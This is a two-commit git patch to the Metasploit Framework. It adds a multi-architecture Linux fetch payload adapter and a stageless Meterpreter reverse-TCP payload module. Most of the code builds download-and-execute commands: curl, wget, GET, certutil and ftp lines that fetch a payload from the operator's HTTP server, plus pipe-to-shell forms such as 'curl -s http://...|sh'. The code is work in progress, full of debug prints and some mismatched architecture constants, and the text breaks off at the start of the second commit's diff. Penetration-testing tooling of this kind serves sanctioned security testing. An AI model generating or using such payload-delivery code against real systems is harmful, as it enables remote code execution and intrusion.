From d4fcbef27117b10fdbd6c09fdd53882409ad2527 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 24 Apr 2026 20:44:12 -0500 Subject: [PATCH 1/2] Another attampt at fetch multi --- .../base/sessions/meterpreter_multi_linux.rb | 26 +++ lib/msf/core/payload/adapter/fetch.rb | 172 +++++++---------- lib/msf/core/payload/adapter/fetch/multi.rb | 131 +++++++++++++ lib/msf/core/payload/adapter/fetch/pipe.rb | 87 +++++++++ .../core/payload/adapter/fetch/server/http.rb | 179 ++++++++++-------- lib/msf/core/payload/linux/multi_arch.rb | 92 +++++++++ .../payloads/adapters/cmd/linux/http/multi.rb | 25 +++ .../linux/multi/meterpreter_reverse_tcp.rb | 38 ++++ 8 files changed, 559 insertions(+), 191 deletions(-) create mode 100644 lib/msf/base/sessions/meterpreter_multi_linux.rb create mode 100644 lib/msf/core/payload/adapter/fetch/multi.rb create mode 100644 lib/msf/core/payload/adapter/fetch/pipe.rb create mode 100644 lib/msf/core/payload/linux/multi_arch.rb create mode 100644 modules/payloads/adapters/cmd/linux/http/multi.rb create mode 100644 modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb diff --git a/lib/msf/base/sessions/meterpreter_multi_linux.rb b/lib/msf/base/sessions/meterpreter_multi_linux.rb new file mode 100644 index 0000000000000..4ebdb4932831d --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_multi_linux.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- + +module Msf + module Sessions + ### + # + # This class creates a platform-specific, architecture agnostic meterpreter session type + # + ### + class MeterpreterMultiLinux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + + def supports_zlib? + false + end + + def initialize(rstream, opts = {}) + super + self.base_platform = 'linux' + self.base_arch = ARCH_ANY # will be populated automatically + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 9aa557ba261ce..718bd0074fb59 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,5 +1,6 @@ module Msf::Payload::Adapter::Fetch include Msf::Payload::Adapter::Fetch::Fileless + include Msf::Payload::Adapter::Fetch::Pipe # Initializes the fetch adapter state and registers datastore options used to # stage and serve the adapted payload. @@ -24,9 +25,12 @@ def initialize(*args) Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) ] ) + deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') @fetch_service = nil + @multi_arch = nil @myresources = [] @srvexe = '' + @srv_resources = [] @pipe_uri = nil @pipe_cmd = nil @remote_destination_win = nil @@ -76,8 +80,8 @@ def default_srvuri(extra_data = nil) # Returns the payload download URI served by the fetch listener. # # @return [String] The URI path and authority for the generated payload. - def download_uri - "#{srvnetloc}/#{srvuri}" + def download_uri(uri) + "#{srvnetloc}/#{uri}" end # Returns the pipe download URI used when serving commands over FETCH_PIPE. @@ -100,7 +104,17 @@ def fetch_bindhost def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end - + + def add_srv_entry(uri, data, arch = ARCH_CMD) + vprint_status "#{__LINE__}" + srv_entry = { + :arch => arch, + :uri => uri, + :data => data + } + @srv_resources << srv_entry + end + # Returns the authority string used by the fetch listener socket. # # @return [String] The host:port pair for the fetch listener. @@ -124,64 +138,58 @@ def pipe_supported_binaries # @param opts [Hash] Payload generation options. # @return [String] The fetch command to run on the target. def generate(opts = {}) + vprint_status "#{__method__}" + vprint_status "#{__LINE__}" opts[:arch] ||= module_info['AdaptedArch'] - opts[:code] = super - @srvexe = generate_payload_exe(opts) + @payload_opts = opts[:arch] + dynamic_arch = false + vprint_status "#{__LINE__}" + if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' + vprint_status "#{__LINE__}" + dynamic_arch = true + add_srv_entry(srvuri, 'x', opts) + else + vprint_status "#{__LINE__}" + dynamic_arch = false + add_srv_entry(srvuri, generate_payload_exe(opts), opts) + end + + vprint_status "#{__LINE__}" + cmd = generate_fetch_commands(srvuri, dynamic_arch) if datastore['FETCH_PIPE'] + vprint_status "#{__LINE__}" unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") end - @pipe_cmd = generate_fetch_commands - @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows - vprint_status("Command served: #{@pipe_cmd}") - cmd = generate_pipe_command - else - cmd = generate_fetch_commands + cmd << '\n' if windows? # Needs CR for Windows command + add_srv_entry(pipe_srvuri, cmd) + cmd = generate_pipe_command(pipe_srvuri) end - vprint_status("Command to run on remote host: #{cmd}") + vprint_status "#{__LINE__}" + vprint_status("Command to execute on target: #{cmd}") cmd end - # Builds the fetch command used to execute a payload directly from a pipe. - # - # @return [String] The pipe-based execution command. - def generate_pipe_command - # TODO: Make a check method that determines if we support a platform/server/command combination - @pipe_uri = pipe_srvuri - - case datastore['FETCH_COMMAND'].upcase - when 'WGET' - return _generate_wget_pipe - when 'GET' - return _generate_get_pipe - when 'CURL' - return _generate_curl_pipe - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") - end - end - # Dispatches command generation to the selected FETCH_COMMAND helper. # # @return [String] The generated fetch-and-execute command. - def generate_fetch_commands + def generate_fetch_commands(uri, dynamic_arch) # TODO: Make a check method that determines if we support a platform/server/command combination # + vprint_status "#{__method__}" case datastore['FETCH_COMMAND'].upcase when 'FTP' - return _generate_ftp_command + return _generate_ftp_command(uri) when 'TNFTP' - return _generate_tnftp_command + return _generate_tnftp_command(uri) when 'WGET' - return _generate_wget_command - when 'GET' - return _generate_get_command + return _generate_wget_command(uri) when 'CURL' - return _generate_curl_command + return _generate_curl_command(uri, dynamic_arch) when 'TFTP' - return _generate_tftp_command + return _generate_tftp_command(uri) when 'CERTUTIL' - return _generate_certutil_command + return _generate_certutil_command(uri) else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -194,6 +202,7 @@ def generate_fetch_commands # @return [String] The generated stage contents. def generate_stage(opts = {}) opts[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? super end @@ -204,6 +213,7 @@ def generate_stage(opts = {}) # @return [PayloadUUID] The generated payload UUID. def generate_payload_uuid(conf = {}) conf[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? conf[:platform] ||= module_info['AdaptedPlatform'] super end @@ -376,10 +386,10 @@ def _execute_nix(get_file_cmd) # Builds a certutil-based command line for fetching the payload on Windows. # # @return [String] The certutil fetch-and-execute command. - def _generate_certutil_command + def _generate_certutil_command(uri) case fetch_protocol when 'HTTP' - get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}" when 'HTTPS' # I don't think there is a way to disable cert check in certutil.... print_error('CERTUTIL binary does not support insecure mode') @@ -393,90 +403,53 @@ def _generate_certutil_command # Builds a curl-based command line for fetching the payload. # # @return [String] The curl fetch-and-execute command. - def _generate_curl_command + def _generate_curl_command(uri, dynamic_arch) case fetch_protocol when 'HTTP' - get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}" + get_file_cmd << "?arch=$(uname -m)" if dynamic_arch when 'HTTPS' - get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}" + get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}" when 'TFTP' - get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end _execute_add(get_file_cmd) end - # Builds a curl command that streams a served command directly into a shell. - # - # @return [String] The curl pipe command. - def _generate_curl_pipe - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? - case fetch_protocol - when 'HTTP' - return "curl -s http://#{_download_pipe}|#{execute_cmd}" - when 'HTTPS' - return "curl -sk https://#{_download_pipe}|#{execute_cmd}" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Builds a GET-based command line for fetching the payload. # # @return [String] The GET fetch-and-execute command. - def _generate_get_command + def _generate_get_command(uri) # Specifying the method (-m GET) is necessary on OSX case fetch_protocol when 'HTTP' - get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}" when 'HTTPS' # There is no way to disable cert check in GET ... print_error('GET binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') - get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET -m GET https://#{download_uri(uri)}>#{_remote_destination}" when 'FTP' - get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET ftp://#{download_uri(uri)}>#{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end _execute_add(get_file_cmd) end - # Builds a GET command that streams a served command directly into a shell. - # - # @return [String] The GET pipe command. - def _generate_get_pipe - # Specifying the method (-m GET) is necessary on OSX - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? - case fetch_protocol - when 'HTTP' - return "GET -m GET http://#{_download_pipe}|#{execute_cmd}" - when 'HTTPS' - # There is no way to disable cert check in GET ... - print_error('GET binary does not support insecure mode') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') - return "GET -m GET https://#{_download_pipe}|#{execute_cmd}" - when 'FTP' - return "GET ftp://#{_download_pipe}|#{execute_cmd}" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Builds an ftp command line for fetching the payload. # # @return [String] The ftp fetch-and-execute command. - def _generate_ftp_command + def _generate_ftp_command(uri) case fetch_protocol when 'FTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" when 'HTTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" when 'HTTPS' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -536,24 +509,9 @@ def _generate_wget_command else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _execute_add(get_file_cmd) end - # Builds a wget command that streams a served command directly into a shell. - # - # @return [String] The wget pipe command. - def _generate_wget_pipe - case fetch_protocol - when 'HTTPS' - return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh" - when 'HTTP' - return "wget -qO- http://#{_download_pipe}|sh" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Returns the platform-appropriate destination path used by download # commands. # diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb new file mode 100644 index 0000000000000..7a2a06595cdf4 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -0,0 +1,131 @@ +module Msf + ### + # + # Common library for http multi-arch fetch payloads + # + ### + module Payload::Adapter::Fetch::Multi + + def _generate_multi_commands(arch_payloads = []) + # There is a great deal of room for improvement here. + script = 'archinfo=$(uname -m);' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + vprint_status(datastore['FETCH_FILENAME']) + os_arches(srv_entry[:arch]).each do |os_arch| + # placing an exit after the conditionals causes 'FETCH_FILELESS to fail' + if datastore['FETCH_FILELESS'] == 'none' + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); exit ;fi; " + else + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); fi; " + end + end + vprint_status(datastore['FETCH_FILENAME']) + end + script << _generate_bruteforce_multi_commands(arch_payloads) if datastore['FETCH_BRUTEFORCE'] + vprint_status(script) + script + end + + def _generate_bruteforce_multi_commands(arch_payloads = []) + # Don't bother trying to figure out the OS arch.... just try to run them all. + script = '' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + script << generate_fetch_commands(srv_entry[:uri]).to_s + end + print_status(script) + script + end + + def os_arches(meterp_arch) + # multiple `uname -m` values map to the same payload arch + # we will probably need to expand this + case meterp_arch + when ARCH_AARCH64 + return ['aarch64'] + when ARCH_ARMBE + return ['armbe'] + when ARCH_ARMLE + return ['armv5l', 'armv6l', 'armv7l'] + when ARCH_MIPS64 + return ['mips64'] + when ARCH_MIPSBE + return ['mipsbe'] + when ARCH_MIPSLE + return ['mips'] + when ARCH_PPC + return ['ppc'] + when ARCH_PPCE500V2 + return ['ppce500v2'] + when ARCH_PPC64LE + return ['ppc64le'] + when ARCH_X64 + return ['x64', 'x86_64'] + when ARCH_X86 + return ['x86'] + when ARCH_ZARCH + return ['zarch'] + end + end + + def to_meterp_arch(os_arch) + # multiple `uname -m` values map to the same payload arch + # we will probably need to expand this + vprint_status("Searching for #{os_arch}") + case os_arch + when 'aarch64' + return ARCH_AARCH64 + when 'armbe' + return ARCH_ARMBE + when 'armv5l' + return ARCH_ARMLE + when 'armv6l' + return ARCH_ARMLE + when 'armv7l' + return ARCH_ARMLE + when 'mips64' + return ARCH_MIPS64 + when 'mipsbe' + return ARCH_MIPSBE + when 'mips' + return ARCH_MIPSLE + when 'ppc' + return ARCH_PPC + when 'ppce500v2' + return ARCH_PPCE500V2 + when 'ppc64le' + return ARCH_PPC64LE + when 'x64' + return ARCH_X64 + when 'x86_64' + return ARCH_X64 + when 'x86' + return ARCH_X86 + when 'zarch' + return ARCH_ZARCH + vprint_status('Nothing Found') + end + end + def multi_arches + arches = [] + arches << ARCH_AARCH64 + arches << ARCH_ARMBE + arches << ARCH_ARMLE + arches << ARCH_MIPS64 + arches << ARCH_MIPSBE + arches << ARCH_MIPSLE + arches << ARCH_PPC + arches << ARCH_PPCE500V2 + arches << ARCH_PPC64LE + arches << ARCH_X64 + arches << ARCH_X86 + arches << ARCH_ZARCH + arches + end + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/pipe.rb b/lib/msf/core/payload/adapter/fetch/pipe.rb new file mode 100644 index 0000000000000..80d8cb4e0e0f7 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/pipe.rb @@ -0,0 +1,87 @@ +module Msf + ### + # + # Common library for pipe-enabled fetch payloads + # + ### + module Payload::Adapter::Fetch::Pipe + + def _download_pipe(uripath) + "#{srvnetloc}/#{uripath}" + end + + def pipe_supported_binaries + # this is going to expand when we add psh support + return %w[CURL] if windows? + + %w[WGET CURL] + end + + def generate_pipe_command(uri) + # TODO: Make a check method that determines if we support a platform/server/command combination + + case datastore['FETCH_COMMAND'].upcase + when 'WGET' + return _generate_wget_pipe(uri) + when 'CURL' + return _generate_curl_pipe(uri) + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + end + + def pipe_srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + + default_srvuri('pipe') + end + + def _generate_curl_pipe(uri) + execute_cmd = 'sh' + execute_cmd = 'cmd' if windows? + case fetch_protocol + when 'HTTP' + return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}" + when 'HTTPS' + return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + def _generate_wget_pipe(uri) + case fetch_protocol + when 'HTTPS' + return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh" + when 'HTTP' + return "wget -qO- http://#{_download_pipe(uri)}|sh" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + # Builds a GET command that streams a served command directly into a shell. + # + # @return [String] The GET pipe command. + def _generate_get_pipe(uri) + # Specifying the method (-m GET) is necessary on OSX + execute_cmd = 'sh' + execute_cmd = 'cmd' if windows? + case fetch_protocol + when 'HTTP' + return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}" + when 'HTTPS' + # There is no way to disable cert check in GET ... + print_error('GET binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') + return "GET -m GET https://#{_download_pipe(uri)}|#{execute_cmd}" + when 'FTP' + return "GET ftp://#{_download_pipe(uri)}|#{execute_cmd}" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 9b24273bd037a..e148dad896e9c 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -1,104 +1,115 @@ -module Msf::Payload::Adapter::Fetch::Server::HTTP - +module Msf # This mixin supports only HTTP fetch handlers. + module Payload::Adapter::Fetch::Server::HTTP - def initialize(*args) - super - register_advanced_options( - [ - Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) - ] - ) - end + include Payload::Adapter::Fetch::Multi + def initialize(*args) + super + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) + ] + ) + end - def fetch_protocol - 'HTTP' - end + def fetch_protocol + 'HTTP' + end - def srvname - datastore['FetchHttpServerName'] - end + def srvname + datastore['FetchHttpServerName'] + end - def add_resource(fetch_service, uri, srvexe) - vprint_status("Adding resource #{uri}") - begin - if fetch_service.resources.include?(uri) + def add_resource(fetch_service, uri, opts) + vprint_status("Adding resource #{uri}") + begin + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, opts) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.") + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end - fetch_service.add_resource(uri, - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srvexe) - end, - 'VirtualDirectory' => true) - rescue ::Exception => e - # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") + @myresources << uri end - @myresources << uri - end - def cleanup_http_fetch_service(fetch_service, my_resources) - my_resources.each do |uri| - if fetch_service.resources.include?(uri) - fetch_service.remove_resource(uri) + def cleanup_http_fetch_service(fetch_service, my_resources) + my_resources.each do |uri| + if fetch_service.resources.include?(uri) + fetch_service.remove_resource(uri) + end end + fetch_service.deref end - fetch_service.deref - end - - def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) - if fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + end + vprint_status("#{fetch_protocol} server started") + fetch_service.server_name = srvname + fetch_service end - vprint_status("#{fetch_protocol} server started") - fetch_service.server_name = srvname - fetch_service - end - def on_request_uri(cli, request, srvexe) - client = cli.peerhost - vprint_status("Client #{client} requested #{request.uri}") - if (user_agent = request.headers['User-Agent']) - client += " (#{user_agent})" + def on_request_uri(cli, request, opts) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + vprint_status request.to_s + vprint_status request.uri_parts['QueryString']['arch'].to_s + arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) + vprint_status("Building payload for #{arch} arch") + vprint_status(opts[:arch]) + opts[:arch] = arch + vprint_status("1") + @multi_arch = arch + vprint_status("2") + opts[:code] = super(opts) + cli.send_response(payload_response(generate_payload_exe(opts))) end - vprint_status("Sending payload to #{client}") - cli.send_response(payload_response(srvexe)) - end - def payload_response(srvexe) - res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) - res['Content-Type'] = 'text/html' - res.body = srvexe.to_s.unpack('C*').pack('C*') - res - end + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end - def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - begin - fetch_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - fetch_bindport, fetch_bindhost, ssl, - { - 'Msf' => framework, - 'MsfExploit' => self - }, - _determine_server_comm(fetch_bindhost), - ssl_cert, - ssl_compression, - ssl_cipher, - ssl_version - ) - rescue Exception => e - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + def start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + end + vprint_status("Fetch handler listening on #{fetch_bindnetloc}") + fetch_service end - vprint_status("Fetch handler listening on #{fetch_bindnetloc}") - fetch_service end -end +end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/multi_arch.rb b/lib/msf/core/payload/linux/multi_arch.rb new file mode 100644 index 0000000000000..df9604d03cfea --- /dev/null +++ b/lib/msf/core/payload/linux/multi_arch.rb @@ -0,0 +1,92 @@ +# Linux Multi shared logic. +# +module Msf::Payload::Linux::MultiArch + def initialize(info = {}) + super + register_options( + [ + Msf::OptEnum.new('REQUESTED_ARCH', [true, 'The desired architecture of the returned payload.', 'NONE', [ 'NONE', 'ARCH_AARCH64', 'ARCH_ARMBE', 'ARCH_ARMLE', 'ARCH_MIPS64', 'ARCH_MIPSBE', 'ARCH_MIPSLE', 'ARCH_PPC', 'ARCH_PPCE500V2', 'ARCH_PPC64LE', 'ARCH_X64', 'ARCH_X86', 'ARCH_ZARCH' ]]), + ] + ) + end + + def generate_payload_uuid(conf = {}) + conf[:arch] = metasploit_arch_transform(desired_arch(conf)) + super + end + + def include_send_uuid + true + end + + def mettle_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return 'aarch64-linux-musl' + when ARCH_ARMBE, 'ARCH_ARMBE' + return 'armv5b-linux-musleabi' + when ARCH_ARMLE, 'ARCH_ARMLE' + return 'armv5l-linux-musleabi' + when ARCH_MIPS64, 'ARCH_MIPS64' + return 'mips64-linux-muslsf' + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return 'mips-linux-muslsf' + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return 'mipsel-linux-muslsf' + when ARCH_PPC, 'ARCH_PPC' + return 'powerpc-linux-muslsf' + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return 'powerpc-e500v2-linux-musl' + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return 'powerpc64le-linux-musl' + when ARCH_X64, 'ARCH_X86' + return 'x86_64-linux-musl' + when ARCH_X86, 'ARCH_X86' + return 'i486-linux-musl' + when ARCH_ZARCH, 'ARCH_ZARCH' + return 's390x-linux-musl' + else + return nil + end + end + + def metasploit_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return ARCH_AARCH64 + when ARCH_ARMBE, 'ARCH_ARMBE' + return ARCH_ARMBE + when ARCH_ARMLE, 'ARCH_ARMLE' + return ARCH_ARMLE + when ARCH_MIPS64, 'ARCH_MIPS64' + return ARCH_MIPS64 + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return ARCH_MIPSBE + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return ARCH_MIPSLE + when ARCH_PPC, 'ARCH_PPC' + return ARCH_PPC + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return ARCH_PPCE500V2 + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return ARCH_PPC64LE + when ARCH_X64, 'ARCH_X86' + return ARCH_X64 + when ARCH_X86, 'ARCH_X86' + return ARCH_X86 + when ARCH_ZARCH, 'ARCH_ZARCH' + return ARCH_ZARCH + else + return nil + end + end + + def desired_arch(opts = {}) + if datastore.include?('REQUESTED_ARCH') && datastore['REQUESTED_ARCH'] != 'NONE' + return_arch = datastore['REQUESTED_ARCH'] + else + return_arch = opts[:arch] + end + return_arch + end +end \ No newline at end of file diff --git a/modules/payloads/adapters/cmd/linux/http/multi.rb b/modules/payloads/adapters/cmd/linux/http/multi.rb new file mode 100644 index 0000000000000..293b8e21de51c --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/multi.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ANY, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end \ No newline at end of file diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..504d611051eda --- /dev/null +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 1140752 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::MultiArch # must be last + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => 'Brendan Watters ', + 'Platform' => 'linux', + 'Arch' => ARCH_ANY, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MeterpreterMultiLinux + ) + ) + end + + def generate(opts = {}) + mettle_arch = mettle_arch_transform(desired_arch(opts)) + opts = { + scheme: 'tcp', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new(mettle_arch, generate_config(opts)).to_binary :exec + end +end \ No newline at end of file From 395c74c0c04df6e2f3106bde58373addb139df1b Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 27 Apr 2026 17:10:35 -0500 Subject: [PATCH 2/2] Working fetch_multi, but everything else is probably broken.... --- lib/msf/core/payload/adapter/fetch.rb | 50 +++++++++++-------- lib/msf/core/payload/adapter/fetch/http.rb | 13 +++-- lib/msf/core/payload/adapter/fetch/multi.rb | 13 ----- .../core/payload/adapter/fetch/server/http.rb | 46 +++++++++++------ .../linux/multi/meterpreter_reverse_tcp.rb | 4 +- 5 files changed, 73 insertions(+), 53 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 